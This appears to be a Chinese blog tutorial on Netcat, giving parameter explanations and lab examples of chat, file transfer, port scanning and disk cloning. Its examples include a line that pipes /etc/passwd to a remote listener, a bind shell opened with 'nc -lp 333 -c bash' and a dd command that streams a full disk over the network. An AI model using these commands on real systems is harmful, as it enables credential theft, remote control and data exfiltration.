瑞士军刀Netcat(nc)简单使用方法及实战应用

Netcat(nc)是一款短小却十分强大的工具(我在下载Windows下nc时还以为下载错了:-)),有瑞士军刀的美誉。我最开始接触nc时是在bugku上的pwn题。当时还不知道nc是什么。后来学习后才了解到nc的强大。

本文通过nc参数介绍 以及 五项实战实例 介绍并帮助大家理解netcat的常用指令。

获取方法: linux: sudo apt-get install netcat
windows:访问netcat官网下载(https://eternallybored.org/misc/netcat/)
nc大都被用来传输文件,信息收集,聊天(不可加密),端口扫描,取证
netcat分为两种模式,分别是侦听模式和传输模式。并可实现如下功能

	telnet / 获取banner信息
	传输文本信息
	传输文件 / 目录
	加密传输文件
	远程控制 / 木马
	加密所有流量
	流媒体服务器
	远程克隆硬盘(说实话当知道这个功能时我人都傻了)

windows下nc参数帮助:
瑞士军刀Netcat(nc)简单使用方法及实战应用_第1张图片KALI下的nc参数帮助:
瑞士军刀Netcat(nc)简单使用方法及实战应用_第2张图片kali下具体可使用 man netcat 查看具体手册

高频参数介绍:

-v 显示详细连接信息
-n 不进行dns解析
-l 	打开侦听
-p 开放端口
-z 扫描时不发送任何数据即扫描到不进行数据交换
-v	输出调试信息/详细输出
-c 控制

实战操作(一) 使用nc实现信息交互
这也是聊天器的原理

被审计方 192.168.188.1:cat /etc/passwd | nc -nv 192.168.188.137 333 -q 1 (查看/etc/passwd并将结果发送到192.168.188.137的333端口并在结束后1秒关闭。nc在传输后默认不会关闭,所以为了判断是否传输结束,需要加入-q参数)
审计方 192.168.188.137:nc -l -p 333 > TargetPasswd.txt (开始侦听192.168.188.137 的333端口,并将信息储存为TargerPasswd.txt)
瑞士军刀Netcat(nc)简单使用方法及实战应用_第3张图片聊天器如图:
瑞士军刀Netcat(nc)简单使用方法及实战应用_第4张图片

实战操作(二):使用nc传输文件/目录
方法1:

接收端192.168.188.137  :sudo nc -lp 333 >1.mp4    (开启侦听333端口并且将接受的文件保存为1.mp4) 	
发送端192.168.188.1    : nc -nv 192.168.188.137 333 < 1.mp4 -q 1  (向192.168.188.131的333端口发送文件1.mp4)

瑞士军刀Netcat(nc)简单使用方法及实战应用_第5张图片

方法2 :

发送端: nc -lp 333 <2.txt-q 1 (开启侦听,并在连接后发送2.txt文件 结束后1秒关闭)
接收端: nc -nv 192.168.188.137 333 >2.mp4

瑞士军刀Netcat(nc)简单使用方法及实战应用_第6张图片瑞士军刀Netcat(nc)简单使用方法及实战应用_第7张图片
完成!

实战操作(三)使用nc完成端口扫描

nc端口扫描 -nvz 192.168.0.123 1-65535  扫描192.168.0.123的1-65535端口
扫描UDP 加参数 -nvzu	

由于扫描较慢,我就不等了
瑞士军刀Netcat(nc)简单使用方法及实战应用_第8张图片

实战操作(四) nc远程克隆硬盘(内存也可以)

拷贝后可以对硬盘进行本地的数据恢复,探测已删除文件!!!

取证方挂硬盘:nc -lp 333 | dd of =/dev/sda
被取证方:dd if=/dev/sda | nc -nv 192.168.0.4 333 -q 1

实战操作(五) nc实现远程控制
参数 -c 控制(此处就不做具体演示了)

被控制方192.168.0.4:nc -lp 333 -c bash/cmd	(linux 或windows)
控制方 192.168.188.131 :nc 192.168.0.4 333 

NCAT(包含在nmap工具包中)的 --ssl 参数可以弥补NC交互信息未加密的不足

如果大家想要深入学习netcat,大家可以去参考一本叫做《Netcat Power Tool》的书。目前似乎还没有译本。

本文到此结束,期待您的宝贵意见。转载请注明出处!

你可能感兴趣的:(KALI渗透测试)